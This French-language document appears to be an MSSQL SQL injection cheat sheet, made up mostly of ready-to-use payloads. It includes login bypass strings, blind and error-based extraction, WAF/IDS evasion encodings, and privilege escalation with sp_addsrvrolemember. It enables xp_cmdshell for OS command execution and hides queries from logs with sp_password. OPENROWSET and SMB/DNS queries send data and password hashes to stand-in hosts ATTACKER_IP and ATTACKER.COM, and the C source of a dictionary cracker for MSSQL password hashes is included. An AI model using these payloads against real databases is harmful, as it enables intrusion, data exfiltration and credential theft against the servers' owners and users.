Introduction
Ce document recense de manière synthétique et la plus complète possible, l’ensemble des vecteurs d’attaque pour des injections SQL (SQLi & BSQLi) ciblant les bases de données MSSQL (Microsoft SQL Server).
Toutes les syntaxes, requêtes, codes sources, PoC et exemples ont été testés et validés pour la production de cette synthèse.
Bases de données par défaut
pubs | Indisponible sous MSSQL 2005 ni 2012 |
model | Disponible dans toutes les versions |
msdb | Disponible dans toutes les versions |
tempdb | Disponible dans toutes les versions |
northwind | Non disponible sous SQL Server 2012 |
information_schema | Disponible depuis MSSQL 2000 |
Tester une injection
Injection dans une chaîne de caractères
Pour la requête suivante :
SELECT * FROM Table WHERE data = '[INJ]';
‘ | Simple quote x1 | False |
‘ ‘ | Simple quote x2 | True |
« | Double quote x1 | True |
« » | Double quote x2 | True |
\ | Backslash x1 | True |
\\ | Backslash x2 | True |
Exemples :
SELECT * FROM Table WHERE data = 'xxx'''; SELECT * FROM Table WHERE data = '1'''''''''''UNION SELECT '2';
Remarques :
- Il est possible d’utiliser autant d’apostrophe (quote) tant qu’ils vont par paire.
- Il est possible de continuer la requête à la suite d’une chaîne de quote.
- Une quote échappe une seconde quote, d’où le chaînage par paire.
Injection par valeurs numériques
Pour la requête suivante :
SELECT * FROM Table WHERE data = [INJ];
AND 1=1 | True |
AND 1=0 | False |
1*1337 | Retourne 1337 si vulnérable |
Formats numériques valides :
Chacune de ces techniques peut servir d’évasion d’expressions régulières d’IDS/WAF.
digits | 1337 |
digits[.] | 1337. |
digits[.]digits | 13.37 |
digits[eE]digits | 13e37, 13E37 |
digits[eE][+-]digits | 13e-37, 13E+37 |
digits[.][eE]digits | 13.e37 |
digits[.]digits[eE]digits | 13.3E7 |
digits[.]digits[eE][+-]digits | 13.3e-7 |
[.]digits | .1337 |
[.]digits[eE]digits | .13e37 |
[.]digits[eE][+-]digits | .13E-37 |
Formats monétaires valides :
MSSQL intègre un format de données monétaires. L’utilisation de ceux-ci permettent d’outrepasser certains filtres de détection de WAF/IDS.
SELECT * FROM myTable WHERE id = +$1.0; SELECT * FROM myTable WHERE id = +€1.0; SELECT * FROM myTable WHERE id = +£1.0;
Liste des symboles monétaires pris en comptes par MSSQL :
Expressions mathématiques équivalentes :
Pour des injections équivalentes au traditionnel « OR 1=1 », les syntaxes suivantes (et dérivées) peuvent être utilisées :
COS(0)=SIN(PI()/2)
Exemples :
SELECT * FROM Table WHERE data = 3+1337;
Injection dans un formulaire de connexion/login
Pour la requête suivante :
SELECT * FROM Users WHERE username = 'admin' AND password = '[INJ]';
Injections :
' OR '' = ' ' OR 1 = 1 -- '=' 'LIKE' '=0--
Exemples :
SELECT * FROM Users WHERE username = 'admin' AND password = '' OR '' = '';
Commenter la fin d’une requête
Les syntaxes suivantes peuvent être utilisées pour commenter (désactiver) la fin d’une requête à la suite d’une injection :
- C-style commentaire
/*
- SQL commentaire
--
- Nullbyte,fin de chaîne
%00
Exemples :
SELECT * FROM Table WHERE username = '' OR 1=1 --' AND password = ''; SELECT * FROM Table WHERE data = '' UNION SELECT 1, 2, 3/*';
Test de version MSSQL
- @@VERSION
Exemples :
SELECT * FROM Tables WHERE data = '1' AND @@VERSION LIKE '%2008%'; -- true if MSSQL 2008
Remarques :
- La chaîne de caractère retournée par @@VERSION contient également la version du système d’exploitation Windows en place, elle est insensible à la casse.
Crédentiels de la base de données
- Database..Table : master..syslogins, master..sysprocesses
- Colonnes : name, loginame
- Utilisateur courant : user, system_user, user_name(), suser_sname(), is_srvrolemember(‘sysadmin’)
Crédentiels de la base :
SELECT user, password FROM master.dbo.sysxlogins SELECT name, password, LOGINPROPERTY(name, 'PasswordHash' ) hash FROM syslogins WHERE password IS NOT NULL; -- Test on SQL Server 2012
Exemples :
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; -- retourne l'utilisateur courant SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END); -- vérifie que l'utilisateur est administrateur
Gestion des utilisateurs
Chacune de ces requêtes de gestion des utilisateurs nécessite des droits.
Création d’un nouvel utilisateur
EXEC sp_addlogin 'user', 'passwd';
Suppression d’un utilisateur
EXEC sp_droplogin 'user';
Escalade de privilège d’un utilisateur
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
Noms des bases de données
- Database.Tables : master..sysdatabases
- Colonnes : name
- Base de données courante : DB_NAME()
- Autres bases : DB_NAME(i)
Exemples :
SELECT DB_NAME(2); SELECT name FROM master..sysdatabases;
Nom d’hôte du serveur
- @@SERVERNAME
- SERVERPROPERTY()
- HOST_NAME()
Exemples :
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
Remarques :
- SERVERPROPERTY() est disponible depuis MSSQL 2005.
Tables et colonnes
Déterminer le nombre de colonnes
Via « order by »
- ORDER BY N+1;
Remarques :
- Continuer d’incrémenter la valeur de N jusqu’à ce que la réponse soit false (une erreur).
Exemples : Pour la requête suivante :
SELECT * FROM Table WHERE data = '[INJ]';
Avec [INJ] :
1' ORDER BY 1-- # return true 1' ORDER BY 2-- # return true 1' ORDER BY 3-- # return true 1' ORDER BY 4-- # return false, 3 colonnes disponibles -1' UNION SELECT 1,2,3--
Via les erreurs
- GROUP BY / HAVING
Remarques :
- Il n’y a plus d’erreur de retournée lorsque toutes les colonnes ont été incluses.
Exemples : Pour la requête suivante :
SELECT * FROM Table WHERE data = '[INJ]';
Avec [INJ] :
1' HAVING 1=1-- # Column 'Table.myColumn1' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY myColumn1 HAVING 1=1-- # Column 'Table.myColumn2' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY myColumn1, myColumn2 HAVING 1=1-- # Column 'Table.myColumn3' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY myColumn1, myColumn2, myColumn3 HAVING 1=1-- # aucune erreur
Récupérer le nom des tables
Les noms des tables peuvent être extraits via information_schema.tables ou master..sysobjects.
Via « Union »
UNION SELECT name FROM master..sysobjects WHERE xtype='U'
Remarques :
- Xtype=’U’ correspond aux tables définies par l’utilisateur. ‘V’ pour les vues.
En mode aveugle « Blind »
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
Remarques :
- Appliquer un algorithme dichotomique sur la requête pour optimiser le temps de recherche et le trafic réseau (O(log n)).
Via les erreurs
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables) AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
Récupérer le nom des colonnes
Les noms des tables peuvent être extraits via information_schema.columns ou master..syscolumns.
Via « Union »
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
En mode aveugle « Blind »
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
Remarques :
- Appliquer un algorithme dichotomique pour optimiser les requêtes, le temps de recherche et le trafic réseau (O(log n)).
Via les erreurs
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
Récupérer plusieurs tables/colonnes en une fois
Technique n°1
Les trois requêtes suivantes permettent la création temporaire d’une table/colonne, l’insertion de toutes les tables définies par l’utilisateur, la récupération de ce contenu puis la suppression de la table temporaire.
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END; -- création et insertion des données AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB); -- récupération du contenu AND 1=0; DROP TABLE TMP_DB; -- suppression de la table temporaire
Technique n°2
Une méthode plus simple est disponible depuis MSSQL 2005 au travers de la méthode path() XML qui effectue des concaténations.
SELECT table_name as t FROM information_schema.tables FOR XML PATH('')
Remarques :
- La requête peut être obscurcie avec un encodage :
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
Récupérer le type des colonnes
Via des fonctions MSSQL :
Lors de l’utilisation d’UNION, pour connaître le type de telle ou telle colonne, il est possible d’appliquer sur la sélection une fonction prenant un type précis en paramètre. Dans l’exemple suivant, la fonction SUM() est utilisée, celle-ci ne peut prendre qu’un nombre en entrée. Si aucune erreur ne s’affiche, la colonne est de type numérique, sinon, l’erreur indique son type :
' union select sum(myColumn) from myTable--
Résultats en cas d’erreur :
Microsoft OLE DB Provider for ODBC Drivers error ‘80050e07’ [Microsoft][ODBC SQL Server Driver]
[SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
Il est également possible d’exploiter les fonctions CAST() ou CONVERT(). Méthode incrémentale Au travers d’un UNION, le test du type des colonnes peut se faire de la sortes :
- Pas d’erreur, syntaxe valide :
1337 UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
- Pas d’erreur, la première colonne est un entier :
1337 UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
- Erreur, la seconde colonne n’est pas un nombre :
1337 UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
- Pas d’erreur, la seconde colonne est une chaîne de caractère :
1337 UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
Éviter l’utilisation des quotes
Encodage en hexadécimal
SELECT * FROM myTable WHERE 'test' = 0x74657374;
Remarques :
- Le préfixe « 0x » d’une chaîne encodée en hexadécimal est insensible à la casse.
- Une chaîne vierge en notation hexadécimale peut se noter 0x.
- Une comparaison sur une valeur de colonne n’est pas fonctionnelle, ainsi username=0x61646d696e ne fonctionne pas.
Fonction CHAR()
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
Concaténation de chaîne de caractères
SELECT 'a'+'d'+'mi'+'n'; SELECT CONCAT('a', 'd', 'm', 'i', 'n'); -- depuis MSSQL 2012
Les requêtes conditionnelles
- CASE
- IF
Exemples :
IF 1=1 SELECT 'true' ELSE SELECT 'false'; SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;
Remarques :
- IF ne peut être utilisé dans une requête SELECT.
Gestion du temps
- WAITFOR DELAY ‘time_to_pass’;
- WAITFOR TIME ‘time_to_execute’;
Exemples :
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
Privilèges et droits
Privilèges de l’utilisateur courant sur des objets définis :
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); -- current database SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); -- current server SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); -- permissions on a table SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
Appartenance à des groupes de rôles pour l’utilisateur courant :
SELECT is_srvrolemember('sysadmin'); SELECT is_srvrolemember('dbcreator'); SELECT is_srvrolemember('bulkadmin'); SELECT is_srvrolemember('diskadmin'); SELECT is_srvrolemember('processadmin'); SELECT is_srvrolemember('serveradmin'); SELECT is_srvrolemember('setupadmin'); SELECT is_srvrolemember('securityadmin');
Liste des utilisateurs qui disposent de droits spécifiques :
SELECT name FROM master..syslogins WHERE denylogin = 0; SELECT name FROM master..syslogins WHERE hasaccess = 1; SELECT name FROM master..syslogins WHERE isntname = 0; SELECT name FROM master..syslogins WHERE isntgroup = 0; SELECT name FROM master..syslogins WHERE sysadmin = 1; SELECT name FROM master..syslogins WHERE securityadmin = 1; SELECT name FROM master..syslogins WHERE serveradmin = 1; SELECT name FROM master..syslogins WHERE setupadmin = 1; SELECT name FROM master..syslogins WHERE processadmin = 1; SELECT name FROM master..syslogins WHERE diskadmin = 1; SELECT name FROM master..syslogins WHERE dbcreator = 1; SELECT name FROM master..syslogins WHERE bulkadmin = 1;
Attaque OPENROWSET
MSSQL offre la possibilité, au travers d’une requête, de se connecter à une base tierce (une source de données OLE DB distante). Par cette connexion (généralement réalisée sur une base appartenant à l’attaquant), il est possible d’y récupérer et/ou d’y écrire des données.
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN; pwd=ATTACKER_PWD', 'SELECT myColumn FROM myTable') SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
Utilisation d’OPENROWSET pour enregistrer des données locales dans une base distante :
INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN;pwd=ATTACKER_PWD', 'SELECT * FROM ATTACKER_TABLE') SELECT name FROM sysobjects WHERE xtype='U'
Cette précédente requête va enregistrer dans la table ATTACKER_TABLE distante, la liste des tables visibles par l’utilisateur courant. La table distante de l’attaquant doit disposer d’une structure équivalente à la requête faite localement (même nombre de colonne, même type de colonne…).
Exécution de commande sur le serveur
La procédure stockée native du nom de xp_cmdshell permet d’exécuter des commandes sur le système.
EXEC master.dbo.xp_cmdshell 'cmd';
Remarques :
- Le répertoire courant d’exécution des commandes est %systemroot%\System32\.
- Les lignes vides sont retournées sous forme de valeur NULL.
Apparue dans la version 2005 de MSSQL, cette procédure est désactivée par défaut. Les requêtes suivantes permettent de l’activer.
EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'xp_cmdshell', 1 EXEC sp_configure reconfigure
Certains WAF/IDS bloque l’utilisation de cette procédure à partir de son nom appelé. Une alternative consiste à créer une nouvelle procédure arbitraire équivalente.
DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
Pour que ces précédentes manipulations fonctionnent sous les versions MSSQL 2000 et supérieures, il est nécessaire d’exécuter au préalable :
EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'OLE Automation Procedures', 1 EXEC sp_configure reconfigure
Exemples :
Vérifie si xp_cmdshell est chargé et actif, puis exécute la commande système « dir » en insérant les résultats dans une table temporaire.
IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE #xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT #xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM #xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE #Data (dir varchar(8000)) INSERT #Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a+'<br></font><font color="black">'+dir,'<dir>','</font><font color="orange">') FROM #Data WHERE dir>@a DROP TABLE #Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE #xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
Récupération des résultats :
' UNION SELECT tbl FROM TMP_DB--
Suppression de la table temporaire :
' DROP TABLE TMP_DB--
Procédures et fonctions spéciales
Il existe une multitude de fonctions et procédures natives à MSSQL. Celles d’intérêts sont listées par la suite :
Gestion du regedit au travers de MSSQL :
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
Gestion des services :
- xp_servicecontrol
Gestion des médias :
- xp_availablemedia
Gestion des ressources ODBC :
- xp_enumdsn
Configuration de connexion :
- xp_loginconfig
Création de fichiers CAB :
- xp_makecab
Énumération des domaines :
- xp_ntsec_enumdomains
Terminaison de processus :
- xp_terminate_process
Ecriture d’un fichier texte local :
- sp_makewebtask
Ajout de nouvelles procédures personnalisées :
MSSQL supporte le VBS et WSH via les ActiveX. Des procédures personnalisées permettent ainsi d’effectuer n’importe quelle tâche sur le système.
sp_addextendedproc 'xp_xxx', 'c:\temp\x.dll' exec xp_xxx
Empêcher la journalisation des requêtes
Le mot clé « sp_password » en terminaison d’une requête permet de cacher les résultats de cette requêtes au niveau des journaux (logs) T-SQL.
- sp_password
Exemples :
' AND 1=1--sp_password
Résultats :
— ‘sp_password’ was found in the text of this event.
— The text has been replaced with this comment for security reasons.
Lecture de fichier du serveur
Les fichiers locaux du serveur peuvent être lu au travers de MSSQL.
CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\x.txt'; DROP TABLE mydata;
Remarques :
- Les fichiers de base de données locales sont stockés dans un chemin précis, celui-ci peut être récupéré par les requêtes:
EXEC sp_helpdb master; –location of master.mdf EXEC sp_helpdb pubs; –location of pubs.mdf
Requêtes distantes
Requêtes Samba (MSSQL 2000, sans privilèges)
declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "\' + @host + 'c$boot.ini"');
Requêtes Samba (MSSQL >= 2005, avec privilèges)
declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.ATTACKER.COM' from sys.sql_logins; exec('xp_fileexist "\' + @host + 'c$boot.ini"');
Remarques :
- Les concaténations de chaînes de sont pas autorisées dans l’appel de la procédure, d’où l’utilisation de la variable @host.
- Voir également les fonctionnalités de DNS tunnel dans SQLNinja.
Requêtes empilées
MSSQL supporte les requêtes empilées.
Exemples :
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
Obscurcissement de requêtes
Caractères intermédiaires de séparation
Le tableau suivant décrit les caractères hexadécimaux utilisables comme un espace blanc.
01 | Start of Heading |
02 | Start of Text |
03 | End of Text |
04 | End of Transmission |
05 | Enquiry |
06 | Acknowledge |
07 | Bell |
08 | Backspace |
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
0E | Shift Out |
0F | Shift In |
10 | Data Link Escape |
11 | Device Control 1 |
12 | Device Control 2 |
13 | Device Control 3 |
14 | Device Control 4 |
15 | Negative Acknowledge |
16 | Synchronous Idle |
17 | End of Transmission Block |
18 | Cancel |
19 | End of Medium |
1A | Substitute |
1B | Escape |
1C | File Separator |
1D | Group Separator |
1E | Record Separator |
1F | Unit Separator |
20 | Space |
25 | % |
Exemples :
S%E%L%E%C%T%01column%02FROM%03table; A%%ND 1=%%%%%%%%1;
Remarques :
- Le symbole pourcent « % » entre les caractères d’un mot-clé n’est possible qu’au travers des applications web en ASP(x) (serveur IIS).
Les caractères suivants peuvent également servir de remplacement aux espaces blancs.
22 | « |
28 | ( |
29 | ) |
5B | [ |
5D | ] |
Exemples :
UNION(SELECT(column)FROM(table)); SELECT"table_name"FROM[information_schema].[tables];
Caractères intermédiaires pour AND/OR
01 – 20 | Range |
21 | ! |
2B | + |
2D | – |
2E | . |
5C | \ |
7E | ~ |
Exemples :
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
Remarques :
- L’antislash n’est pas fonctionnel sous MSSQL 2000.
Encodage
Le transcodage permet de bypasser certains WAF/IDS.
URL Encoding :
SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding :
SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding :
SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid hex Encoding (ASP only) :
SELECT %tab%le_%na%me FROM information_schema.tables;
Hex encoding :
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (à valider) :
%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B
Transcodage linguistique
Dans le cas de MSSQL et d’une injection via l’utilisation du mot clé « UNION », si deux colonnes de chaînes de caractères (du premier ensemble de la requête et du second) ne s’avèrent pas dans le même encodage linguistique (Japonnais, Russe, Turque…), alors une erreur peut être levée. Pour pallier à ce problème, MSSQL défini le mot clé « COLLATE » pour harmoniser l’encodage de sortie :
SELECT dataRussian FROM myTable1 UNION ALL SELECT dataTurk COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM myTable2
Opérateurs
AND | Logical AND |
= | Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement) |
BETWEEN … AND … | Check whether a value is within a range of values |
& | Bitwise AND |
| | Bitwise OR |
^ | Bitwise XOR |
/ | Division operator |
= | Equal operator |
>= | Greater than or equal operator |
> | Greater than operator |
!> | No-greater than operator |
!< | No-lesser than operator |
<= | Less than or equal operator |
< | Less than operator |
LIKE | Simple pattern matching |
– | Minus operator |
% | Modulo operator |
!= , <> | Not equal operator |
NOT , ! | Negates value |
OR | Logical OR |
+ | Addition operator |
* | Multiplication operator |
– | Change the sign of the argument |
~ | Not bitwise |
ALL | Logical AND on a set |
ANY, SOME | Logical OR on a set |
EXISTS | True if under-request contains data |
IN | True if operand equals at least one element of a set |
Mots de passe
Hachage
MSSQL < 2012 Les mots de passe MSSQL sont hachés à partir de l’algorithme SHA1. Ils débutent par le préfixe 0x0100. Les 8 octets suivants correspondent au sel (salt) et les 80 octets suivants sont en réalités 2 hashs. Le premier hash de 40 octets est sensible à la casse alors que le second est une version en majuscule. La taille finale avec le préfixe est de 94 caractères.
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
MSSQL 2012 Les hashs de la version 2012 débutent par le préfixe 0x0200 et font 142 caractères. L’algorithme SHA512 est utilisé au lieu du SHA1 :
SELECT pwdencrypt('password'); -- internal MSSQL 2012 function select 0x0200+0xDEADBEEF+HASHBYTES('SHA2_512', CONVERT(VARBINARY,N'password') + CAST(0xDEADBEEF AS VARBINARY(32))) -- generic method with DEADBEEF as salt
0x0200F8AD6746B48DC390E37F07597844806A9488D286E65E901CB1AA33AE425B8335E7C5858840105DA0AF14BD26AA3662EAF33E40ADABD0FECFCC740B5338497584697AA69F
Cassage
Différentes solutions permettent de tester la résistance des mots de passe MSSQL pour tous types de versions.
- Un module Metasploit pour John The Ripper est également disponible ici.
- Hashcat prend en compte toutes les versions MSSQL.
L’algorithme de brute-force des hashs de MSSQL 2000 en C est le suivant :
///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include #include #include FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }
Chiffrement d’objets MSSQL et protection de la base
MSSQL offre la possibilité de protéger les objets définis dans la base, tels que :
- Les vues (view – v)
- Les fonctions (function – fct)
- Les procédures stockées (stored procedure – sp)
- Les déclencheurs (trigger)
Ces objets s’avèrent protégés contre l’édition ou même la visualisation de leur code source.
MSSQL exploite un algorithme XOR pour appliquer ces protections. Cet algorithme a très peut varié depuis les premières versions de MSSQL.
Un article complet à ce sujet, sur comment protéger ses objets MSSQL, comment les déchiffrer, et comment améliorer cette protection, a été réalisé pour ASafety ici: Déchiffrement d’objets MSSQL 2000, 2005, 2008 et 2012.